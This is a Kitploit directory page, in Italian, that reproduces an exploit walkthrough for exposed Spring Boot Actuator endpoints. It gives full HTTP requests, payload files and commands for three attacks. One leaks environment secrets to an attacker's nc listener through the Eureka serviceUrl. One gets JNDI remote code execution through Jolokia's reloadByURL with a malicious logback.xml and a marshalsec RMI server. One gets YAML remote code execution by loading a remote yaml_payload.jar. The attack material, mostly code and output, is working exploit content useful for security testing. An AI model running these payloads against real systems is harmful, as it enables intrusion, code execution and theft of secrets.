Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SpringBoot_Actuator_RCE — SpringBoot_Actuator_RCE | Kitploit
Strumenti/GitHubGitHub/jas502n/springboot_actuator_rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingConfigurazione ErrataSicurezza delle API
GitHubjas502n/springboot_actuator_rce

SpringBoot_Actuator_RCE

SpringBoot_Actuator_RCE

Vedi Repository
95166 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Interfaccia swagger-ui

/swagger-ui.html

SpringBoot env: recupero di informazioni sensibili* (Parte 1)

Quando accediamo direttamente al sito springboot, possiamo vedere che alcuni campi password sono valorizzati con *

  1. Tramite ${name} è possibile ottenere il campo in chiaro
  2. Una configurazione non corretta provoca la divulgazione di informazioni sensibili (il campo password è mascherato con asterischi, mentre pwd non lo è)

Riferimento https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

Procedimento dettagliato:

Ad esempio: vogliamo ottenere il valore del parametro pid

root@kitploit:~
"PID": "10648",
root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

Quindi inviare una POST a /refresh con contenuto arbitrario per innescare la vulnerabilità

Ps: In generale, di solito occorre attendere 3 secondi per ricevere il pacchetto di risposta; se invece viene restituito immediatamente, potrebbe mancare il pacchetto di estensione spring-boot-starter-actuator e la vulnerabilità di refresh non può essere sfruttata

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

Quando il server nc è in ascolto sulla porta 2444, riceve:

root@kitploit:~
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

Decodifica base64:

root@kitploit:~
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

È lo stesso delle informazioni pid precedenti.

Allo stesso modo, per ottenere il parametro user.country, la procedura è la stessa.

Risultato:

root@kitploit:~
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

Decodifica base64:

root@kitploit:~
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null

Scripting

Inserire il parametro da interrogare e la porta di ascolto di nc.

Ascolta sulla porta, recupera l'header specificato e decodifica automaticamente il base64.

Ps: Se siete abbastanza fortunati da avere Eureka-Client <1.8.7 nel classpath del target (di solito incluso in Spring Cloud Netflix), potete sfruttare la vulnerabilità di deserializzazione XStream in esso presente.

Ad esempio: User-Agent: Java-EurekaClient/v1.4.11

SpringBoot_Actuator JNDI RCE: replica della vulnerabilità (Parte 2)

0x01 Configurazione dell'ambiente

git clone https://github.com/veracode-research/actuator-testbed

Avvio:

root@kitploit:~
mvn install
oppure
mvn spring-boot:run

Compilando ed eseguendo, si nota che l'indirizzo IP di ascolto è 127.0.0.1, accessibile solo dalla macchina locale. Cercando su Baidu, è sufficiente modificarlo in 0.0.0.0.

Ricerca dei file chiave:

grep -r 'server.address' -n ./

root@kitploit:~
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

Modificare in:

root@kitploit:~
server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

0x02 Riavvio

mvn spring-boot:run

oppure

root@kitploit:~
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

Attendere qualche istante.

root@kitploit:~
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

Nell'output, reloadByURL può caricare un file XML da un URL remoto.

root@kitploit:~
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

0x03 Server HTTP per ospitare logback.xml ed ExportObject.class

Contenuto del file logback.xml:

root@kitploit:~
<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

root@kitploit:~
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

0x04 Attivazione della RCE

In ascolto sulla porta RMI:

root@kitploit:~
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection



Il browser accede al file logback.xml remoto per caricarlo e analizzarlo,

Il server accede all'indirizzo JNDI malevolo, causando l'esecuzione del bytecode malevolo.

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

0x05 Esecuzione del comando riuscita

root@kitploit:~
root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

YML RCE: replica della vulnerabilità (Parte 3)

Il metodo per ottenere la RCE modificando la proprietà spring.cloud.bootstrap.location dell'ambiente Spring è più affidabile.

Questa proprietà viene utilizzata per caricare una configurazione esterna e analizzarla in formato YAML. Per fare ciò, è necessario inviare una POST a /refresh con contenuto arbitrario per attivare la vulnerabilità.

Contenuto del file yaml_payload.yml

root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

0x00 Creazione di yaml_payload.jar

Codice https://github.com/artsploit/yaml-payload

Codice parziale di AwesomeScriptEngineFactory.java

root@kitploit:~
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

Contiene il bytecode effettivo e un payload dannoso nel costruttore.

ymal_payload.jar\services\javax.script.ScriptEngineFactory

È solo un file di testo che contiene un riferimento completo ad 'artsploit.AwesomeScriptEngineFactory', in modo che ServiceLoader sappia dove trovare la classe.

Contenuto: artsploit.AwesomeScriptEngineFactory

Il file jar viene posizionato nel server HTTP.

http://10.20.24.191:8090/ymal_payload.jar

0x01 Impostare spring.cloud.bootstrap.location

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

0x02 POST a refresh con contenuto arbitrario: attivazione della vulnerabilità RCE

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

0x03 Esecuzione della RCE riuscita

root@kitploit:~
root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 

Ps: rispetto al payload XStream di Eureka, il metodo yaml può essere utilizzato anche nelle versioni più recenti.

Link di riferimento

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Scarica lo strumento